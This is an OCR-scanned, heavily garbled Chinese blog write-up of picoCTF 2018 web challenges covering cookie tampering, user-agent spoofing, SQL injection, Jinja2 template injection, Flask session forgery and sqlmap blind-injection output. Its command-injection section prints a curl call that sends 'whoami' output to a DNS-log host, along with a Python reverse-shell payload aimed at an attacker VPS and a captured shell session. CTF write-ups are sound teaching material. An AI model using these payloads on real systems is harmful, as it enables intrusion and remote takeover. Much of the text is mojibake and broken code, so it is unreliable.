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no login

session & A jwt

£2018sh... / document  html 1.92 KB .  Whagr Cookie
w session: {..}
expires: 1970-01-01T00:00:00.000Z

GET  # ajax.go... jquery.minjs script 0= 0=..

GET & maxcd... bootstrap.min.css stylesheet css EEF 106...

path: /
GET @@ getboo... jumbotron-narrow.css stylesheet css EEF 13.. value:
GET @ maxcd... bootstrap.min,js script is BEF 0=.. v &k Cookie
A GET #2018sh... faviconico img html Z2EERF 233.. _ga: GA1.2.1260984395.1567827157
id: GA1.2.358450891.1567827157
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EFVTgg.gFtvWEwMybZcYCjqZVy56WOZ63k

username: 1

=

RS — T


https://blog.csdn.net/qq_41289254
https://blog.csdn.net/qq_41289254/category_7747091.html
https://so.csdn.net/so/search/s.do?q=picoctf2018&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=wp&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_41289254/article/details/100904221
https://blog.csdn.net/qq_41289254/category_7747091.html

Encoded cisie A roken vere Decoded o e pavioan ano secrer

eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIs

HEADER: ALGORITHM & TOKEN TYPE

IkknbSBzb3JyeSBpdCBkb2Vzbid@IGxvb2sgbGlr O s,
ZSB5b3UgYXJ1IHR0ZSBhZG1pbi4iXX1dfQ.DqZOP T [
g.K5xNViyWWoiHREwWG2SpIJ1GeH14 et
"warning",
"I'm sorry it doesn't look like you are the
admin.”
]
}
1
}
a4 m 3
F0 81 TH AR R —FEcookie A admin=1BJH],
GET /flag HTTP/1.1 : </ul>
Host: 2018shelll.picoctf.com:33889 </nav>
Upgrade—Insecure—Requests: 1 <h3 class="text-muted">My New Website</h3>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 </div>

(KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q
=0.8

Referer: http://2018shelll.picoctf.com:33889/

Accept-Encoding: gzip, deflate

Accept-Language: zh—CN,zh;q=0.9

Cookie: _ga=GA1.2.28574373.1538400083; _gid=GA1.2.133979370.1539487675;
OUTFOX_SEARCH_USER_ID_NCO0=564363266.01188¢1;admin=1;)

Connection: close

<div class="jumbotron">
<p class="lead"></p>
<p style="text-align:center; font-size:30px;"><b>Flag</b>:
<code>picoCTF{n0l0g0On_n0_prObl3m_26b0181a}</code></p>
<I—— <p><a class="btn btn-lg btn-success" href="admin"
role="button">Click here for the flagi</a> ——>
<l— </p> ——>
</div>
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flagipicoCTF{n010g0n n0 prObl3m 26b018la}

secret Agent

TTHBH, Adflagiil, KIIRR: you are not google...

BHUA, SEREBENchrome, RKIIERANT, BT — TM ERES, KIA LLEHNGooglebot (googlell€

L:: DI

Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible;

Googlebot/2.1; +http://www.google.com/bot.html)

XEWA L EEM Fcurlff4: curl -s http://2018shell.picoctf.com:46162/flag —-user-

agent googlebot | grep pico
Buttons

#&7: (1) What's different about the two buttons?

f128F—T, KIE—buttoniRX K7 X Epost, FH MR X Nget, KHE -ARZTTA BB Apost, B

Flflag

The Vault

RABNFTEEGR, FEA:
<?php

ini_set('error_reporting', E_ALL);
ini set('display errors', 'On');
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include "config.php";
$con = new SQLite3($database_file);

$username = $_POST["username"];

$password = $_POST["password"];

$debug = $ _POST["debug"];

$query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";

if (intval($debug)) {
echo "<pre>";

echo "username: ", htmlspecialchars($username), "\n";

, htmlspecialchars($password), "\n";

echo "password:
echo "SQL query: ", htmlspecialchars($query), "\n";

echo "</pre>";

//validation check
$pattern ="/.*["\"].*0OR.*/i";
$user_match = preg_match($pattern, $username);
$password_match = preg_match($pattern, $username);
if($user_match + $password_match > @) {
echo "<h1>SQLi detected.</h1>";
}
else {
$result = $con->query($query);
$row = $result->fetchArray();

if ($row) {

echo "<hl>Logged in!</h1>";

echo "<p>Your flag is: $FLAG</p>";
} else {

echo "<hl>Login failed.</h1>";

?>

/*

htmlspecialchars() BREIETE XHFHFERAN HTML Lk,

T sE SR F R R -

& (& ff5)  &amp;

" (WEF) &quot;, BRIEH®ET ENT_NOQUOTES

'(BE5) WET ENT_QUOTES J5, &#039; (MER ENT_HTML401) , Bi#F &apos; (HER ENT_XML1. ENT_XHTML BR
ENT_HTML5).

< (/MF)  &lt;

> (KT) &gt;

preg_match BREH FHAT—AIENRIENXILE.,

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = @ [, int $offset = ©
111)

% subject 5 pattern 4 EMIENRERMH—AILE.
SHL A -

$pattern: EHRENR, FREEA.

$subject: MIANFRHHE.

/1 RANFAEUR
*/



RIS UE Tor, AT LMEAHlikeEN

like 4= REMIE IR SR 42 8T 2@ like Y%search%
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Hit: admin' like '%' --

B 3flag: picoCTF{w3lcOm3 t0 th3 vault ed4ca2258}

Flaskcards

Question

We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?

Hint

Are there any common vulnerabilities with the backend of the website?
Is there anywhere that filtering doesn't get applied?

The database gets reverted every 2 hours so your session might end unexpectedly. Just make another user

Solution
ML B 42 - HEW Wk F R 1% 2 flaskESE, RIEhintRE M 1% 2 SSTHFEF -

Ui i http://2018shell1.picoctf.com:23547/{{ 1+1}}, FHE&H R BIRFERIIEIE, 180 WA R R iZ 8% F 8,
PIANBRATERX. FEMKSFHFER, KIZL TCreating cards. Listing cardse

fiCcreating cardsH)Questionflanswerkbf A\{{1+1}}, RiEVI#E|Listing Cards, KIFHLEZRL T2
mAR1.

B {{ config.items() }}, KM secretkeyBirflag.


http://2018shell1.picoctf.com:23547/
http://2018shell1.picoctf.com:23547/%257B%257B

dict_items([('DEBUG', False), ('PREFERRED_URL_SCHEME', 'http'), ('SQLALCHEMY_POOL_TIMEOUT', None),
('JSON_AS_ASCII', True),

('PROPAGATE_EXCEPTIONS', None), ('ENV', 'production'), ('SQLALCHEMY_POOL_RECYCLE', None),
('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)),

("JSON_SORT_KEYS', True), ('SQLALCHEMY_TRACK_MODIFICATIONS', False), ('SERVER_NAME', None),

(' TRAP_BAD_REQUEST_ERRORS', None),

('MAX_COOKIE_SIZE', 4893), ('USE_X_SENDFILE', False), ('EXPLAIN_TEMPLATE_LOADING', False),
("BOOTSTRAP_LOCAL_SUBDOMAIN', None),

('APPLICATION_ROOT', '/'), ('BOOTSTRAP_USE_MINIFIED', True), ('MAX_CONTENT_LENGTH', None),
("BOOTSTRAP_QUERYSTRING_REVVING', True),

("TRAP_HTTP_EXCEPTIONS', False), ('SESSION_COOKIE_PATH', None), ('TESTING', False),
("SQLALCHEMY_COMMIT_ON_TEARDOWN', False),

('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SQLALCHEMY POOL_SIZE', None), ('SESSION_COOKIE_HTTPONLY', True),
('SESSION_COOKIE_NAME', 'session'),

('SESSION_COOKIE_SECURE', False), ('JSONIFY_PRETTYPRINT REGULAR', False), ('TEMPLATES_AUTO_RELOAD', None),
('SESSION_COOKIE_SAMESITE', None),

('JSONIFY_MIMETYPE', ‘'application/json'), ('SQLALCHEMY_RECORD_QUERIES', None), ('SESSION_COOKIE_DOMAIN',
False), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(®, 43200)),

('SQLALCHEMY_NATIVE_UNICODE', None), ('SQLALCHEMY_ BINDS', None), ('SQLALCHEMY DATABASE_URI', 'sqlite://'),
('SQLALCHEMY_ECHO', False),

('BOOTSTRAP_SERVE_LOCAL', False), ('BOOTSTRAP_CDN FORCE_SSL', False),

('SECRET_KEY', 'picoCTF{secret_keys_to_the_kingdom_584f8327}"),

('SESSION_REFRESH_EACH_REQUEST', True), ('SQLALCHEMY_ MAX_OVERFLOW', None)])

flag:ipicoCTF{secret keys to the kingdom 584£8327}
SSTI:

KT SSTI, RELEHRILE:
https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/

http://www.freebuf.com/articles/web/136118.html http://www.freebuf.com/articles/web/136180.html
http://www.freebuf.com/vuls/83999.html

Flaskcards Skeleton key

BEREMElaskcard—F#, {HIXMERME Nadming 3k, V5iE/admins 2] —Btsession, & ZE e 818 —ANIK P &
F*, RigksessionZid b, BEHAKE GXEWUBEBEEBERAEREER: #Ehibt/admin)

.eJwlz01gAzEMQOG7eJ2FLFmynMsMsn50KbQwk6xK755AD Dge7 tgDOvj3Z nM-
8teMz2r3ZWmtPNozsDGtghiwhKFvkagAwXXnrHouZQACZGIHDFVmKFowu7hNMdaDEtgjaxASu3N1lrAeY
tibk62TIrb3YzvD v3GVETc
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1% F f# %5 T B https://github.com/noraj/flask-session-cookie-manager

Buser idH175 3 Hisession
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GET  J& 2018sh... f; mg 1.2...
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fancy alive monitoring

S N E BN, KEE L.

if ($ip) {

// super fancy regex check!

if (preg_match('/~(([1-9]?[0-9]|1[0-9]1{2}|2[@-4][0-9]]25[0-5]).){3}([1-9]?[0-9]|1[0-9]1{2}]|2[@-4][0-
9]|25[e-51)/",%ip))

ENZEREFESSs, Frilip/EEa EANER TR, REEAw<EE, 5 HDNSlogEE fr < TR E K15
S

o

BIN ip=0.0.0.0;curl 9luhoo.dnslog.cn/whoami"" &ILA] LA EIEE .

Ly L =EEw ) iEes L Woes L2 1FnEmERs V) THEE LR W I WEs O &' T FoemSIInim @ Hackbar gy AADIOCK Fius uJg ==
w I HTML CSS JS XHR ==k MEH& @ik WS = [|isEs [2fAEF FHHE s HAR
K& E B i R =] =8 Frh =) i512% POST http://2018shell.picoctf.com:31070/index.php
T  POST A 2018shellpic.. indexphp document html 749 5 600 =75 5373 %8 -
SR
POST 2018shell index.php document N
- s N L X P Host: 2018shell.picoctf.com:31070
GE H 2018shell pic... favicon.ico img plain 9 =73 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/htmi fon/xhtmi-+xml, i 1:9=0.9,4/%0=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW:q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Connection: keep-alive "
< >
ERE:

ip=0.0.0.;curl Sluhoo.dnslog.cn/ whoami



Get SubDomain Refresh Record

[ 9luhoo.dnslog.cn
DNS Query Record IP Address Created Time
9luhoo.dnslog.cn 3.18.132.117 2019-09-12 2131
9luhoo.dnslog.cn 3.18.132.117 2019-09-12 2131

WA LB # R #ishell, B, {fHpythonkx H#Hishell.

ip=0.0.0.0;python -c 'import
socket, subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_vps_ip",port));os.d
up2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"

fEvps EIF EnclElT.

~ nc -lvvp 8888

Listening on [0.0.0.0] (family @, port 8888)
Connection from [18.224.157.204] port 8888 [tcp/*] accepted (family 2, sport 42170)
/bin/dash: @: can't access tty; job control turned off
$ 1s

index.php

index.txt

the-secret-1335-flag.txt

xinet_startup.sh

$ cat the-secret-1335-flag.txt

Here is your flag: picoCTF{n3v3r_trust_a_b@x_d7ad162d}

flagipicoCTF{n3v3r trust a b0x d7adl62d}
Help me reset2

HHAEFRAE, RIM—/forgot you passwordfjiETi, MG RUALNEERE, HEEHAFL, £FXNEE
B, WMRAREAFEESFTRIMEED, REEN, RIER—NEENH, f12kMsessionBEHFEE,
N Rflask#Isession, ¥ Fflaskif#% T A
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a simple question
BEEN, RWEBRRRELEanswer2.phps

<?php
include "config.php";
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 'On');

$answer = $_POST["answer"];
$debug = $_POST["debug"];

$query
echo "<pre>";

echo "SQL query: ", htmlspecialchars($query), "\n";
echo "</pre>";
?>
<?php
$con = new SQLite3($database_file);
$result = $con->query($query);

$row = $result->fetchArray();
if($answer == $CANARY) {

echo "<hl>Perfect!</h1>";

echo "<p>Your flag is: $FLAG</p>";
}
elseif ($row) {

echo "<hl>You are so close.</h1>";
} else {

echo "<h1l>Wrong.</h1>";

2>
sqlE ¥

18 F sqlmap #i — i :

"SELECT * FROM answers WHERE answer='$answer'";



1L ] parsing HTTP request from 'post.txt'
11 ] resuming back-end DBMS 'sglite’

1L ] testing connection to the target URL
sum

L\jsglmap resumed the following injection point(s) from stored session:
T |- - -

Parameter: answer (POST)
Type: AND/OR time-based blind
Title: SQLite > 2.© OR time-based blind (heavy query)

Payload: answer=1' OR 5845=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(5@0eeeee8/2))))-- LUWz&debug=0

1L ] the back-end DBMS is SQLite
back-end DBMS: SQLite

[ 11 ] fetched data logged to text files under '/home/zwish/.sgqlmap/output/2018shell.picoctf.com’
[#] ending @ 22:13:34 /2819-89-15/

:~$

BREERT, ERTSERABFAZag. -
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